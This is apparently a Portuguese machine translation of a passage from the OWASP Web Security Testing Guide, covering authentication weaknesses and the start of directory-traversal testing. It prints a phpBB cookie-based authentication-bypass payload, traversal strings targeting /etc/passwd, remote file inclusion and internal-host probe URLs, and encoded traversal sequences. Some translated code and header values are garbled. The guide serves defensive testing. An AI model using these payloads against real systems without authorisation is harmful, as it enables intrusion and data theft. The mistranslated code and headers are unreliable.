Figura 4.4.4-5: Injeção de SQL
A figura a seguir mostra que, com um simples ataque de injeção de SQL, às vezes é possível ignorar o formulário de autenticação.
153
Figura 4.4.4-6: Ataque de injeção SQL simples

Se um invasor conseguiu recuperar o código-fonte do aplicativo explorando uma vulnerabilidade descoberta anteriormente
(por exemplo, travessia de diretório) ou de um repositório da Web (aplicativos de código aberto), pode ser possível realizar
ataques refinados contra o implementação do processo de autenticação.
No exemplo a seguir (PHPBB 2.0.13 - Authentication Bypass Vulnerability), na linha 5 a função unserialize() analisa um
cookie fornecido pelo usuário e define valores dentro do array $row. Na linha 10, o hash de senha MD5 do usuário
armazenado no banco de dados de back-end é comparado ao fornecido.
if (isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) { $sessiondata =

isset($HTTP_COOKIE_VARS[$cookiename . '_data']) ?
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : variedade();
$sessionmethod = SESSION_METHOD_COOKIE;
} if(md5($password) == $row['user_password'] && $row['user_active']) {

$autologin = (isset($HTTP_POST_VARS['autologin'])) ? VERDADEIRO : 0;
}
Em PHP, uma comparação entre um valor de string e um valor booleano (1 e TRUE ) é sempre , assim, fornecendo o
TRUE seguindo a string (a parte importante é b:1 ) para a função unserialize() , é possível ignorar o controle de
autenticação:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
Ferramentas
WebGoatName

154
Referências
Artigos técnicos
Mark Roxberry: “Vulnerabilidade do PHPBB 2.0.13”
David Endler: “Session ID Exploração de força bruta e previsão”

155
Teste para lembrar senha vulnerável
EU IRIA
WSTG-ATHN-05
Resumo
As credenciais são a tecnologia de autenticação mais amplamente utilizada. Devido ao uso tão amplo de pares de nome de usuário-senha, os usuários não
conseguem mais lidar adequadamente com suas credenciais em vários aplicativos usados.
Para auxiliar os usuários com suas credenciais, várias tecnologias surgiram:
Os aplicativos fornecem uma funcionalidade de lembrar-me que permite que o usuário permaneça autenticado por longos períodos de tempo, sem solicitar
novamente ao usuário suas credenciais.
Gerenciadores de senhas - incluindo gerenciadores de senhas do navegador - que permitem ao usuário armazenar suas credenciais de maneira segura e
posteriormente injetá-las em formulários de usuário sem qualquer intervenção do usuário.
Objetivos do teste
Valide se a sessão gerada é gerenciada com segurança e não coloque em risco as credenciais do usuário.
Como testar
Como esses métodos fornecem uma melhor experiência do usuário e permitem que o usuário esqueça suas credenciais, eles aumentam a área de superfície de
ataque. Algumas aplicações:
Armazene as credenciais de forma codificada nos mecanismos de armazenamento do navegador, que podem ser verificados seguindo o cenário de teste de
armazenamento da web e passando pelos cenários de análise de sessão . As credenciais não devem ser armazenadas de forma alguma no aplicativo do lado
do cliente e devem ser substituídas por tokens gerados pelo lado do servidor.
Injetar automaticamente as credenciais do usuário que podem ser abusadas por:
Ataques de ClickJacking .
Ataques CSRF .
Os tokens devem ser analisados em termos de vida útil do token, onde alguns tokens nunca expiram e colocam os usuários em perigo se esses tokens forem
roubados. Certifique-se de seguir o cenário de teste de tempo limite da sessão .
Remediação
Siga o gerenciamento de sessões boas práticas.
Certifique-se de que nenhuma credencial seja armazenada em texto não criptografado ou facilmente recuperável em formas codificadas ou criptografadas nos
mecanismos de armazenamento do navegador; eles devem ser armazenados no lado do servidor e seguir um bom armazenamento de senha práticas.
156
Testando as Fraquezas do Cache do Navegador
EU IRIA
WSTG-ATHN-06
Resumo
Nesta fase, o testador verifica se o aplicativo instrui corretamente o navegador a não reter dados confidenciais.
Os navegadores podem armazenar informações para fins de cache e histórico. O cache é usado para melhorar o desempenho, para que as
informações exibidas anteriormente não precisem ser baixadas novamente. Mecanismos de histórico são usados para conveniência do
usuário, para que o usuário possa ver exatamente o que viu no momento em que o recurso foi recuperado. Se informações confidenciais
forem exibidas para o usuário (como endereço, detalhes do cartão de crédito, número de CPF ou nome de usuário), essas informações
poderão ser armazenadas para fins de cache ou histórico e, portanto, recuperáveis por meio do exame do cache do navegador ou
simplesmente pressionando o botão Voltar do navegador .
Objetivos do teste
Revise se o aplicativo armazena informações confidenciais no lado do cliente.
Revise se o acesso pode ocorrer sem autorização.
Como testar
Histórico do navegador
Tecnicamente, o botão Voltar é um histórico e não um cache (consulte Cache em HTTP: listas de histórico). O cache e o histórico são duas
entidades diferentes. No entanto, eles compartilham a mesma fraqueza de apresentar informações confidenciais exibidas anteriormente.
O primeiro e mais simples teste consiste em inserir informações confidenciais no aplicativo e fazer logout. Em seguida, o testador clica no
botão Voltar do navegador para verificar se as informações confidenciais exibidas anteriormente podem ser acessadas enquanto não
autenticadas.
Se, ao pressionar o botão Voltar , o testador puder acessar as páginas anteriores, mas não acessar as novas, não é um problema de
autenticação, mas um problema de histórico do navegador. Se essas páginas contiverem dados confidenciais, isso significa que o aplicativo
não proibiu o navegador de armazená-los.
A autenticação não precisa necessariamente estar envolvida no teste. Por exemplo, quando um usuário insere seu endereço de e-mail para
se inscrever em um boletim informativo, essas informações podem ser recuperadas se não forem tratadas adequadamente.
O botão Voltar pode ser impedido de mostrar dados confidenciais. Isso pode ser feito por:
Entregando a página por HTTPS.
Configurando Cache-Control: must-revalidate
Cache do navegador
Aqui, os testadores verificam se o aplicativo não vaza dados confidenciais no cache do navegador. Para fazer isso, eles podem usar um proxy
(como o OWASP ZAP) e pesquisar as respostas do servidor pertencentes à sessão, verificando se, para cada página que contém informações
confidenciais, o servidor instruiu o navegador a não armazenar nenhum dado em cache. Essa diretiva pode ser emitida nos cabeçalhos de
resposta HTTP com as seguintes diretivas:
Cache-Control: sem cache, sem armazenamento
Expira: 0
157
Pragma: sem cache
Essas diretivas são geralmente robustas, embora sinalizadores adicionais possam ser necessários para o cabeçalho Cache-Control , a fim de prevenir melhor os
arquivos vinculados persistentemente no sistema de arquivos. Esses incluem:
Cache-Control: deve-revalidar, max-age=0, s-maxage=0
HTTP/1.1:
Controle de cache: sem cache
HTTP/1.0:
Pragma: sem cache
Expira: "data passada ou valor ilegal (por exemplo, 0)"
Por exemplo, se os testadores estiverem testando um aplicativo de comércio eletrônico, eles devem procurar todas as páginas que contenham um número de cartão
de crédito ou alguma outra informação financeira e verificar se todas essas páginas aplicam a diretiva no-cache . Se eles encontrarem páginas que contenham
informações críticas, mas que falham em instruir o navegador a não armazenar em cache seu conteúdo, eles saberão que informações confidenciais serão
armazenadas no disco e poderão verificar isso simplesmente procurando a página no

cache do navegador.
O local exato onde essas informações são armazenadas depende do sistema operacional do cliente e do navegador usado. aqui estão alguns exemplos:
Mozilla Firefox:
Unix/Linux: ~/.cache/mozilla/firefox/
Windows: C:\Users\<user_name>\AppData\Local\Mozilla\Firefox\Profiles\<profile-id>\Cache2\
Explorador de Internet:
C:\Users\<user_name>\AppData\Local\Microsoft\Windows\INetCache\
Cromada:
Windows: C:\Users\<user_name>\AppData\Local\Google\Chrome\User Data\Default\Cache
Unix/Linux: ~/.cache/google-chrome
Revendo informações em cache
O Firefox fornece funcionalidade para visualizar informações em cache, o que pode ser benéfico para você como testador. É claro que a indústria também produziu
várias extensões e aplicativos externos que você pode preferir ou precisar para Chrome, Internet Explorer ou Edge.
Os detalhes do cache também estão disponíveis por meio de ferramentas de desenvolvedor na maioria dos navegadores modernos, como Firefox, Cromada, e Borda.
Com o Firefox também é possível usar a URL about:cache para verificar os detalhes do cache.
Manipulação de verificação para navegadores
móveis A manipulação de diretivas de cache pode ser completamente diferente para navegadores móveis. Portanto, os testadores devem iniciar uma nova sessão de
navegação com caches limpos e aproveitar recursos como o Modo de dispositivo do Chrome ou o modo de design responsivo do Firefox para testar novamente ou
testar separadamente os conceitos descritos acima.
Além disso, proxies pessoais como ZAP e Burp Suite permitem que o testador especifique qual User-Agent deve ser enviado por seus spiders/crawlers. Isso pode ser
definido para corresponder a uma string User-Agent do navegador móvel e usado para ver quais diretivas de cache são enviadas pelo aplicativo que está sendo
testado.

A metodologia de teste é equivalente ao caso da caixa preta, pois em ambos os cenários os testadores têm acesso total aos cabeçalhos de resposta do servidor e ao
código HTML. No entanto, com o teste de caixa cinza, o testador pode ter acesso à conta
Machine
158
credenciais que permitirão que eles testem páginas confidenciais acessíveis apenas a usuários autenticados.
Ferramentas
Proxy de Ataque Zed OWASP
Referências
Artigos técnicos
Cache em HTTP
159
Testando a política de senha fraca
EU IRIA
WSTG-ATHN-07
Resumo
O mecanismo de autenticação mais prevalente e mais facilmente administrado é uma senha estática. A senha representa as chaves do reino,
mas muitas vezes é subvertida pelos usuários em nome da usabilidade. Em cada um dos recentes hacks de alto perfil que revelaram as
credenciais do usuário, lamenta-se que as senhas mais comuns ainda sejam: 123456 senha e qwerty . ,
Objetivos do teste
Determine a resistência do aplicativo contra adivinhação de senha de força bruta usando dicionários de senha disponíveis, avaliando o
comprimento, a complexidade, a reutilização e os requisitos de validade das senhas.
Como testar
1. Quais caracteres são permitidos e proibidos para uso em uma senha? O usuário é obrigado a usar caracteres
de diferentes conjuntos de caracteres, como letras minúsculas e maiúsculas, dígitos e símbolos especiais?
2. Com que frequência um usuário pode alterar sua senha? Com que rapidez um usuário pode alterar sua senha após uma alteração anterior?
Os usuários podem ignorar os requisitos de histórico de senha alterando sua senha 5 vezes seguidas para que, após a última alteração de
senha, tenham configurado sua senha inicial novamente.
3. Quando um usuário deve alterar sua senha?

Ambos NIST e NCSC não recomendamos forçar a expiração regular da senha, embora possa ser exigido por padrões como o PCI
DSS.
4. Com que frequência um usuário pode reutilizar uma senha? O aplicativo mantém um histórico dos 8 dados usados anteriormente pelo usuário?
senhas?
5. Quão diferente deve ser a próxima senha da última senha?
6. O usuário está impedido de usar seu nome de usuário ou outras informações de conta (como nome ou sobrenome) no
senha?
7. Quais são os tamanhos mínimo e máximo de senha que podem ser definidos e são apropriados para a sensibilidade
da conta e aplicação?
8. É possível definir senhas comuns como Password1 ou 123456 ?
Remediação
Para mitigar o risco de senhas facilmente adivinhadas, facilitando o acesso não autorizado, existem duas soluções: introduzir controles de
autenticação adicionais (ou seja, autenticação de dois fatores) ou introduzir uma política de senha forte. A mais simples e barata delas é a
introdução de uma política de senha forte que garanta o comprimento, a complexidade, a reutilização e a validade da senha; embora idealmente
ambos devam ser implementados.
Referências
Ataques de Força Bruta
160
Testando para resposta de pergunta de segurança fraca
EU IRIA
WSTG-ATHN-08
Resumo
Frequentemente chamadas de perguntas e respostas “secretas”, as perguntas e respostas de segurança costumam ser usadas para recuperar senhas
esquecidas (consulte Teste de alteração de senha fraca ou funcionalidades de redefinição ou como segurança extra sobre a senha.
Eles geralmente são gerados na criação da conta e exigem que o usuário selecione algumas perguntas pré-geradas e forneça uma resposta apropriada.
Eles podem permitir que o usuário gere seus próprios pares de perguntas e respostas. Ambos os métodos são propensos a inseguranças. Idealmente,
as perguntas de segurança devem gerar respostas que sejam conhecidas apenas pelo usuário e que não possam ser adivinhadas ou descobertas por
qualquer outra pessoa. Isso é mais difícil do que parece. As perguntas e respostas de segurança dependem do sigilo da resposta. As perguntas e
respostas devem ser escolhidas de forma que as respostas sejam conhecidas apenas pelo titular da conta. No entanto, embora muitas respostas
possam não ser conhecidas publicamente, a maioria das perguntas que os sites implementam promove respostas pseudoprivadas.
Perguntas pré-geradas A maioria das
perguntas pré-geradas são bastante simplistas por natureza e podem levar a respostas inseguras. Por exemplo:
As respostas podem ser do conhecimento de familiares ou amigos próximos do usuário, por exemplo “Qual é o nome de solteira da sua mãe?”,
“Qual é a sua data de nascimento?”
As respostas podem ser facilmente adivinhadas, por exemplo, “Qual é a sua cor favorita?”, “Qual é o seu time de beisebol favorito?”
As respostas podem ser de força bruta, por exemplo, “Qual é o primeiro nome do seu professor favorito do ensino médio?” - a resposta
provavelmente está em algumas listas de nomes populares facilmente disponíveis para download e, portanto, um simples ataque de força bruta
pode ser programado.
As respostas podem ser descobertas publicamente, por exemplo, “Qual é o seu filme favorito?” - a resposta pode ser facilmente encontrada na
página de perfil da mídia social do usuário.
Perguntas geradas automaticamente
O problema de fazer com que os usuários criem suas próprias perguntas é que isso permite que eles gerem perguntas muito inseguras ou até mesmo
ignorem o objetivo de ter uma pergunta de segurança em primeiro lugar. Aqui estão alguns exemplos do mundo real que ilustram este ponto:
“Quanto é 1+1?”
“Qual é o seu nome de usuário?”
“Minha senha é S3cur|ty!”
Objetivos do teste
Determine a complexidade e quão diretas são as perguntas.
Avalie possíveis respostas do usuário e recursos de força bruta.
Como testar
Teste de perguntas pré-geradas fracas Tente obter uma lista de
perguntas de segurança criando uma nova conta ou seguindo o processo “Não me lembro da minha senha”. Tente gerar o maior número possível de
perguntas para ter uma boa ideia do tipo de perguntas de segurança que são feitas. Se alguma das perguntas de segurança se enquadrar nas
categorias descritas acima, ela estará vulnerável a ataques (adivinhação, força bruta, disponível em mídia social, etc.).
Machine
161
Testando perguntas fracas geradas automaticamente Tente criar
perguntas de segurança criando uma nova conta ou configurando as propriedades de recuperação de senha de sua conta existente. Se o sistema permitir que
o usuário gere suas próprias perguntas de segurança, ele estará vulnerável a criar perguntas inseguras. Se o sistema usar as perguntas de segurança geradas
automaticamente durante a funcionalidade de senha esquecida e se os nomes de usuário puderem ser enumerados (consulte Teste para enumeração de
contas e conta de usuário adivinhável, deve ser fácil para o testador enumerar várias perguntas geradas automaticamente. Deve-se esperar encontrar várias
questões autogeradas fracas usando este método.
Testando respostas de força bruta Use os métodos
descritos em Testando o mecanismo de bloqueio fraco para determinar se várias respostas de segurança fornecidas incorretamente acionam um mecanismo
de bloqueio.
A primeira coisa a levar em consideração ao tentar explorar questões de segurança é o número de questões que precisam ser respondidas. A maioria dos
aplicativos precisa apenas que o usuário responda a uma única pergunta, enquanto alguns aplicativos críticos podem exigir que o usuário responda a duas ou
até mais perguntas.
O próximo passo é avaliar a força das questões de segurança. As respostas poderiam ser obtidas por uma simples pesquisa no Google ou com um ataque de
engenharia social? Como testador de penetração, aqui está um passo a passo para explorar um esquema de perguntas de segurança:
O aplicativo permite que o usuário final escolha a pergunta que precisa ser respondida? Em caso afirmativo, concentre-se em perguntas que tenham:
Uma resposta “pública”; por exemplo, algo que pode ser encontrado com uma simples consulta em um mecanismo de pesquisa.
Uma resposta factual, como uma “primeira escola” ou outros fatos que podem ser pesquisados.
Poucas respostas possíveis, como “que modelo foi o seu primeiro carro”. Essas perguntas apresentariam ao invasor uma pequena lista de respostas
possíveis e, com base nas estatísticas, o invasor poderia classificar as respostas da mais para a menos provável.
Determine quantos palpites você tem, se possível.
A redefinição de senha permite tentativas ilimitadas?
Existe um período de bloqueio após X respostas incorretas? Lembre-se de que um sistema de bloqueio pode ser um problema de segurança em si,
pois pode ser explorado por um invasor para iniciar uma negação de serviço contra usuários legítimos.
Escolha a pergunta apropriada com base na análise dos pontos acima e faça pesquisas para determinar as respostas mais prováveis.
A chave para explorar com sucesso e contornar um esquema de pergunta de segurança fraco é encontrar uma pergunta ou um conjunto de perguntas que dê a
possibilidade de encontrar facilmente as respostas. Sempre procure perguntas que possam lhe dar a maior chance estatística de adivinhar a resposta correta,
se você não tiver certeza de nenhuma das respostas. No final, um esquema de pergunta de segurança é tão forte quanto a pergunta mais fraca.
Referências
A maldição da pergunta secreta
A Folha de Consulta das Perguntas de Segurança OWASP

162
Teste de funcionalidade de alteração ou redefinição de senha fraca
EU IRIA
WSTG-ATHN-09
Resumo
A função de alteração e redefinição de senha de um aplicativo é um mecanismo de alteração ou redefinição de senha de autoatendimento para
usuários. Esse mecanismo de autoatendimento permite que os usuários alterem ou redefinam rapidamente suas senhas sem a intervenção de um
administrador. Quando as senhas são alteradas, elas geralmente são alteradas no aplicativo. Quando as senhas são redefinidas, elas são
renderizadas no aplicativo ou enviadas por e-mail ao usuário. Isso pode indicar que as senhas são armazenadas em texto simples ou em um formato
descriptografável.
Objetivos do teste
Determine a resistência do aplicativo à subversão do processo de alteração de conta, permitindo que alguém altere a senha de uma conta.
Determine a resistência da funcionalidade de redefinição de senhas contra adivinhação ou desvio.
Como testar
Tanto para alteração de senha quanto para redefinição de senha, é importante verificar:
1. se os usuários, exceto administradores, puderem alterar ou redefinir senhas para contas que não sejam suas.
2. se os usuários puderem manipular ou subverter o processo de alteração ou redefinição de senha para alterar ou redefinir a senha de
outro usuário ou administrador.
3. se o processo de alteração ou redefinição de senha for vulnerável a CSRF.
Testar redefinição de senha
Além das verificações anteriores, é importante verificar o seguinte:
Quais informações são necessárias para redefinir a senha?
O primeiro passo é verificar se perguntas secretas são necessárias. Enviar a senha (ou um link de redefinição de senha) para o endereço de
e-mail do usuário sem primeiro fazer uma pergunta secreta significa confiar 100% na segurança desse endereço de e-mail, o que não é
adequado se o aplicativo precisar de um alto nível de segurança.
Por outro lado, se forem usadas perguntas secretas, o próximo passo é avaliar sua força. Esse teste específico é discutido em detalhes no
parágrafo Testando para perguntas/respostas de segurança fracas deste guia.
Como as senhas redefinidas são comunicadas ao usuário?
O cenário mais inseguro aqui é se a ferramenta de redefinição de senha mostrar a senha; isso dá ao invasor a capacidade de fazer login na
conta e, a menos que o aplicativo forneça informações sobre o último login, a vítima não saberá que sua conta foi comprometida.
Um cenário menos inseguro é se a ferramenta de redefinição de senha forçar o usuário a alterar sua senha imediatamente. Embora não seja
tão furtivo quanto o primeiro caso, ele permite que o invasor obtenha acesso e bloqueia o acesso do usuário real.
A melhor segurança é alcançada se a redefinição de senha for feita por e-mail para o endereço com o qual o usuário se cadastrou inicialmente,
ou algum outro endereço de e-mail; isso força o invasor não apenas a adivinhar em qual conta de e-mail a senha
Machine
163
reset foi enviado (a menos que o aplicativo mostre essa informação), mas também para comprometer essa conta de e-mail para obter a senha
temporária ou o link de redefinição de senha.
As senhas de redefinição são geradas aleatoriamente?
O cenário mais inseguro aqui é se o aplicativo enviar ou visualizar a senha antiga em texto não criptografado, porque isso significa que as senhas
não são armazenadas em forma de hash, o que é um problema de segurança em si.
A melhor segurança é alcançada se as senhas forem geradas aleatoriamente com um algoritmo seguro que não pode ser derivado.
A funcionalidade de redefinição de senha está solicitando confirmação antes de alterar a senha?
Para limitar os ataques de negação de serviço, o aplicativo deve enviar um link por e-mail ao usuário com um token aleatório e, somente se o
usuário visitar o link, o procedimento de redefinição será concluído. Isso garante que a senha atual ainda seja válida até que a redefinição seja
confirmada.
Testar mudança de senha

Além do teste anterior é importante verificar:
A senha antiga é solicitada para concluir a alteração?
O cenário mais inseguro aqui é se o aplicativo permitir a alteração da senha sem solicitar a senha atual. De fato, se um invasor conseguir controlar
uma sessão válida, poderá alterar facilmente a senha da vítima. Consulte também o parágrafo Teste de política de senha fraca deste guia.
Remediação
A função de alteração ou redefinição de senha é uma função sensível e requer alguma forma de proteção, como exigir que os usuários se autentiquem
novamente ou apresentar ao usuário telas de confirmação durante o processo.
Referências
Folha de dicas de senha esquecida do OWASP
164
Teste para autenticação mais fraca em canal alternativo
EU IRIA
WSTG-ATHN-10
Resumo
Mesmo que os mecanismos de autenticação primários não incluam nenhuma vulnerabilidade, pode ser que existam vulnerabilidades em canais
alternativos de autenticação legítima do usuário para as mesmas contas de usuário. Testes devem ser realizados para identificar canais alternativos
e, sujeitos ao escopo do teste, identificar vulnerabilidades.
Os canais alternativos de interação do usuário podem ser utilizados para contornar o canal principal ou expor informações que podem ser usadas
para auxiliar um ataque contra o canal principal. Alguns desses canais podem ser aplicativos da Web separados usando nomes de host ou
caminhos diferentes. Por exemplo:
site padrão
Site otimizado para celular ou dispositivo específico
Site otimizado para acessibilidade
Sites alternativos de países e idiomas
Sites paralelos que utilizam as mesmas contas de usuário (por exemplo, outro site que oferece funções diferentes da mesma organização,
um site parceiro com o qual as contas de usuário são compartilhadas)
Versões de desenvolvimento, teste, UAT e preparação do site padrão
Mas também podem ser outros tipos de aplicativos ou processos de negócios:
Aplicativo para dispositivos móveis
Aplicativo de área de trabalho
Operadores de call center
Resposta de voz interativa ou sistemas de árvore telefônica
Observe que o foco deste teste está em canais alternativos; algumas alternativas de autenticação podem aparecer como conteúdo diferente
fornecido pelo mesmo site e quase certamente estariam no escopo do teste. Eles não são discutidos mais aqui e deveriam ter sido identificados
durante a coleta de informações e o teste de autenticação primária. Por exemplo:
Enriquecimento progressivo e degradação graciosa que alteram a funcionalidade

Uso do site sem cookies
Uso do site sem JavaScript
Uso do site sem plugins como para Flash e Java
Mesmo que o escopo do teste não permita que os canais alternativos sejam testados, sua existência deve ser documentada. Isso pode prejudicar
o grau de garantia nos mecanismos de autenticação e pode ser um precursor para testes adicionais.
Exemplo
O site principal é http://www.example.com e as funções de autenticação sempre ocorrem em páginas que usam TLS
https://www.example.com/myaccount/ .
No entanto, existe um site separado otimizado para celular que não usa TLS e tem um mecanismo de recuperação de senha mais fraco http://
m.example.com/myaccount/ .
165
Objetivos do teste
Identifique canais alternativos de autenticação.
Avalie as medidas de segurança usadas e se existem desvios nos canais alternativos.
Como testar
Entenda o mecanismo primário
Teste totalmente as funções de autenticação primária do site. Isso deve identificar como as contas são emitidas, criadas ou alteradas e
como as senhas são recuperadas, redefinidas ou alteradas. Além disso, o conhecimento de qualquer autenticação de privilégio elevado e
medidas de proteção de autenticação deve ser conhecido. Esses precursores são necessários para poder comparar com quaisquer canais
alternativos.
Identificar outros canais

Outros canais podem ser encontrados usando os seguintes métodos:
Lendo o conteúdo do site, especialmente a página inicial, entre em contato conosco, páginas de ajuda, artigos de suporte e perguntas frequentes, T&Cs, avisos
de privacidade, o arquivo robots.txt e quaisquer arquivos sitemap.xml.
Pesquisar logs de proxy HTTP, registrados durante a coleta e teste de informações anteriores, para strings como “mobile”, “android”,
blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless” , “auth”, “sso”, “single sign on” em caminhos de URL e conteúdo do
corpo.
Use mecanismos de busca para encontrar sites diferentes da mesma organização, ou usando o mesmo nome de domínio, que tenham
conteúdo de página inicial semelhante ou que também tenham mecanismos de autenticação.
Para cada canal possível, confirme se as contas de usuário são compartilhadas entre eles ou forneça acesso à mesma funcionalidade ou
semelhante.
Enumerar funcionalidade de autenticação

Para cada canal alternativo onde as contas de usuário ou funcionalidade são compartilhadas, identifique se todas as funções de autenticação
do canal principal estão disponíveis e se existe algo extra. Pode ser útil criar uma grade como a abaixo:
primário Móvel Central de Atendimento Site do Parceiro
Registro Sim - -
Conecte-se Sim Sim Sim (SSO)
Sair - - -
Redefinição de senha Sim Sim -
- Mudar senha - -
Neste exemplo, o celular tem uma função extra “alterar senha”, mas não oferece “sair”. Um número limitado de tarefas também é possível
ligando para o call center. As centrais de atendimento podem ser interessantes, pois suas verificações de confirmação de identidade podem
ser mais fracas que as do site, permitindo que esse canal seja usado para auxiliar um ataque contra a conta de um usuário.
Ao enumerar isso, vale a pena observar como o gerenciamento de sessão é realizado, caso haja sobreposição em qualquer canal (por
exemplo, cookies com escopo para o mesmo nome de domínio pai, sessões simultâneas permitidas em canais, mas não no mesmo canal).
Revise e teste
Canais alternativos devem ser mencionados no relatório de teste, mesmo que sejam marcados como “somente informativos” ou “fora do
escopo”. Em alguns casos, o escopo de teste pode incluir o canal alternativo (por exemplo, porque é apenas outro caminho no nome do
host de destino) ou pode ser adicionado ao escopo após discussão com os proprietários de todos os canais. Se o teste for permitido e
autorizado, todos os outros testes de autenticação neste guia devem ser executados e comparados com o canal principal.
166
Casos de teste relacionados

Os casos de teste para todos os outros testes de autenticação devem ser utilizados.
Remediação
Certifique-se de que uma política de autenticação consistente seja aplicada em todos os canais para que sejam igualmente seguros.
167
4.5 Teste de Autorização
4.5.1 Testando a inclusão do arquivo Directory Traversal
4.5.2 Teste para Ignorar o Esquema de Autorização
4.5.3 Teste para Escalação de Privilégios
4.5.4 Testando referências inseguras de objetos diretos

168
Testando inclusão de arquivo de travessia de diretório
EU IRIA
WSTG-ATHZ-01
Resumo
Muitos aplicativos da Web usam e gerenciam arquivos como parte de sua operação diária. Usando métodos de validação de entrada que não foram bem projetados
ou implantados, um agressor pode explorar o sistema para ler ou gravar arquivos que não devem ser acessíveis. Em situações particulares, pode ser possível
executar código arbitrário ou comandos do sistema.
Tradicionalmente, servidores web e aplicativos web implementam mecanismos de autenticação para controlar o acesso a arquivos e recursos. Os servidores da
Web tentam confinar os arquivos dos usuários dentro de um “diretório raiz” ou “raiz do documento da Web”, que representa um diretório físico no sistema de
arquivos. Os usuários devem considerar esse diretório como o diretório base na estrutura hierárquica do aplicativo da web.
A definição dos privilégios é feita por meio de Listas de Controle de Acesso (ACL) que identificam quais usuários ou grupos devem poder acessar, modificar ou
executar um determinado arquivo no servidor. Esses mecanismos são projetados para impedir que usuários mal-intencionados acessem arquivos confidenciais (por
exemplo, o arquivo comum /etc/passwd em uma plataforma semelhante ao UNIX) ou para evitar a execução de comandos do sistema.
Muitos aplicativos da Web usam scripts do lado do servidor para incluir diferentes tipos de arquivos. É bastante comum utilizar este método para gerenciar imagens,
templates, carregar textos estáticos, etc. Infelizmente, esses aplicativos expõem vulnerabilidades de segurança se os parâmetros de entrada (ou seja, parâmetros
de formulário, valores de cookie) não forem validados corretamente.
Em servidores e aplicativos da Web, esse tipo de problema surge em ataques de path traversal/file include. Ao explorar esse tipo de vulnerabilidade, um invasor
pode ler diretórios ou arquivos que normalmente não conseguiria ler, acessar dados fora da raiz do documento da Web ou incluir scripts e outros tipos de arquivos
de sites externos.
Para fins do Guia de Teste OWASP, apenas as ameaças de segurança relacionadas a aplicativos da Web serão consideradas e não ameaças a servidores da Web
(por exemplo, o infame código de escape %5c no servidor da Web do Microsoft IIS). Outras sugestões de leitura serão fornecidas na seção de referências para os
leitores interessados.
Esse tipo de ataque também é conhecido como ataque ponto-ponto-barra ( ../ ), travessia de diretório, subida de diretório ou retrocesso.
Durante uma avaliação, para descobrir falhas de path traversal e file include, os testadores precisam realizar dois estágios diferentes:
1. Enumeração de vetores de entrada (uma avaliação sistemática de cada vetor de entrada)
2. Técnicas de teste (uma avaliação metódica de cada técnica de ataque usada por um invasor para explorar o
vulnerabilidade)
Objetivos do teste
Identifique os pontos de injeção que pertencem à travessia do caminho.
Avalie as técnicas de desvio e identifique a extensão da travessia do caminho.
Como testar
Enumeração de Vetores de Entrada
169
Para determinar qual parte do aplicativo é vulnerável ao desvio da validação de entrada, o testador precisa enumerar todas as partes do aplicativo que
aceitam o conteúdo do usuário. Isso também inclui consultas HTTP GET e POST e opções comuns, como uploads de arquivos e formulários HTML.
Aqui estão alguns exemplos das verificações a serem realizadas nesta fase:
Existem parâmetros de solicitação que podem ser usados para operações relacionadas a arquivos?
Existem extensões de arquivo incomuns?
Existem nomes de variáveis interessantes?

http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
É possível identificar os cookies utilizados pela aplicação web para a geração dinâmica de páginas ou templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flor
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Técnicas de teste
A próxima etapa do teste é analisar as funções de validação de entrada presentes no aplicativo da web. Usando o exemplo anterior, a página dinâmica
chamada getUserProfile.jsp carrega informações estáticas de um arquivo e mostra o conteúdo aos usuários. Um invasor pode inserir a string
maliciosa ../../../../etc/passwd para incluir o arquivo hash de senha de um sistema Linux/UNIX. Obviamente, esse tipo de ataque só é possível se o ponto
de verificação de validação falhar; de acordo com os privilégios do sistema de arquivos, o próprio aplicativo da web deve ser capaz de ler o arquivo.
Para testar essa falha com sucesso, o testador precisa ter conhecimento do sistema que está sendo testado e da localização dos arquivos solicitados.
Não faz sentido solicitar /etc/passwd de um servidor web IIS.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Para o exemplo de cookies:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
Também é possível incluir arquivos e scripts localizados em site externo:
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
Se os protocolos forem aceitos como argumentos, como no exemplo acima, também é possível testar o sistema de arquivos local
maneira:
http://example.com/index.php?file=file:///etc/passwd
Se os protocolos forem aceitos como argumentos, como nos exemplos acima, também é possível sondar os serviços locais e próximos:
http://example.com/index.php?file=http://localhost:8080 http://example.com/
index.php?file=http://192.168.0.2:9080
170
O exemplo a seguir demonstrará como é possível mostrar o código-fonte de um componente CGI, sem usar nenhum caractere de passagem de
caminho.
http://example.com/main.cgi?home=main.cgi
O componente chamado main.cgi está localizado no mesmo diretório que os arquivos estáticos HTML normais usados pelo aplicativo. Em alguns
casos, o testador precisa codificar as solicitações usando caracteres especiais (como . dot, %00 null etc.) para ignorar os controles de extensão de
arquivo ou impedir a execução do script.
Dica: é um erro comum dos desenvolvedores não esperar todas as formas de codificação e, portanto, apenas validar o conteúdo codificado básico.
Se inicialmente a string de teste não for bem-sucedida, tente outro esquema de codificação.
Cada sistema operacional usa caracteres diferentes como separador de caminho:
Sistema operacional semelhante ao Unix:
diretório raiz: /
separador de diretório: /
SO Windows:
diretório raiz: <letra da unidade>:
separador de diretório: \ ou /
Mac OS clássico:
diretório raiz: <letra da unidade>:
separador de diretório: :
Devemos levar em consideração os seguintes mecanismos de codificação de caracteres:
Codificação de URL e codificação de URL dupla

%2e%2e%2f representa ../
%2e%2e/ representa ../
..%2f representa ../
%2e%2e%5c representa ..\
%2e%2e\ representa ..\
..%5c representa ..\
%252e%252e%255c representa ..\

..%255c representa ..\ e assim por diante.
Codificação Unicode/UTF-8 (só funciona em sistemas capazes de aceitar sequências UTF-8 muito longas) ..%c0%af
representa ../
..%c1%9c representa ..\
Há outras considerações específicas do sistema operacional e da estrutura de aplicativos também. Por exemplo, o Windows é flexível em sua análise
de caminhos de arquivo.
Shell do Windows: Anexar qualquer um dos seguintes caminhos usados em um comando shell não resulta em nenhuma diferença na função:
Colchetes angulares < e > no final do caminho
Aspas duplas (fechadas corretamente) no final do caminho
